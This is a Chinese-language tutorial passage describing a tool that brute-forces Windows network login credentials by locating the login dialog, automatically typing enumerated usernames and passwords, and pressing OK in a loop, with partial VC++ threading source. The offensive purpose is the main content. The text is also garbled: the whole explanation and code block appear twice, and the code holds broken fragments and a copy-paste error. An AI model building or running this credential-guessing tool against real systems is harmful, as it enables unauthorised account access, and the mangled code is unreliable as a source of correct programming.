Windows網(wǎng)絡(luò)用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數(shù)EnumWindows ()找到網(wǎng)絡(luò)登錄窗口。利用子窗口枚舉函數(shù)EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網(wǎng)絡(luò)登錄窗口上的各個(gè)控件。
利用SendDlgItemMessage()或SetDlgItemText()來(lái)輸入用戶名及密碼。利用SendMessage()發(fā)送“確定”消息。這樣一來(lái),就利用程序完成了整個(gè)網(wǎng)絡(luò)登錄過(guò)程。在重復(fù)這個(gè)過(guò)程中采用枚舉的用戶名和密碼,進(jìn)而完成網(wǎng)絡(luò)用戶名及密碼的枚舉猜解。
一、猜解過(guò)程流程:
為說(shuō)明問(wèn)題,下面只寫(xiě)出主要的過(guò)程。對(duì)于關(guān)鍵過(guò)程給出用VC++實(shí)現(xiàn)的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問(wèn)?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序?qū)⒃倜杜e一個(gè)新的用戶名,然后重新枚舉這個(gè)字符集合。關(guān)于源碼中各函數(shù)的具體用法,請(qǐng)參閱MSDN。關(guān)于多線程的用法,可參閱《VisualC++技術(shù)內(nèi)幕》。
下面給出關(guān)鍵流程的源代碼
1. 全局變量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數(shù)
CEvent gEventNextPass;//取下一個(gè)密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventPassOk;//已取得密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventNextUser;//取下一個(gè)用戶名,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventUserOk;// 已取得用戶名,為實(shí)現(xiàn)同步引進(jìn)
CMutex gMutex;//互斥量,只允許單線程訪問(wèn)
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當(dāng)前使用的密碼。
char cCurrentUser[MAX_USER_LENGTH];//當(dāng)前使用的用戶名
2. 線程啟動(dòng):
{
file://密碼枚舉線程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過(guò)程的代碼差不多
}
file://用戶名枚舉線程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚舉線程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}
利用SendDlgItemMessage()或SetDlgItemText()來(lái)輸入用戶名及密碼。利用SendMessage()發(fā)送“確定”消息。這樣一來(lái),就利用程序完成了整個(gè)網(wǎng)絡(luò)登錄過(guò)程。在重復(fù)這個(gè)過(guò)程中采用枚舉的用戶名和密碼,進(jìn)而完成網(wǎng)絡(luò)用戶名及密碼的枚舉猜解。
一、猜解過(guò)程流程:
為說(shuō)明問(wèn)題,下面只寫(xiě)出主要的過(guò)程。對(duì)于關(guān)鍵過(guò)程給出用VC++實(shí)現(xiàn)的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問(wèn)?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序?qū)⒃倜杜e一個(gè)新的用戶名,然后重新枚舉這個(gè)字符集合。關(guān)于源碼中各函數(shù)的具體用法,請(qǐng)參閱MSDN。關(guān)于多線程的用法,可參閱《VisualC++技術(shù)內(nèi)幕》。
下面給出關(guān)鍵流程的源代碼
1. 全局變量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數(shù)
CEvent gEventNextPass;//取下一個(gè)密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventPassOk;//已取得密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventNextUser;//取下一個(gè)用戶名,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventUserOk;// 已取得用戶名,為實(shí)現(xiàn)同步引進(jìn)
CMutex gMutex;//互斥量,只允許單線程訪問(wèn)
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當(dāng)前使用的密碼。
char cCurrentUser[MAX_USER_LENGTH];//當(dāng)前使用的用戶名
2. 線程啟動(dòng):
{
file://密碼枚舉線程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過(guò)程的代碼差不多
}
file://用戶名枚舉線程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚舉線程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}

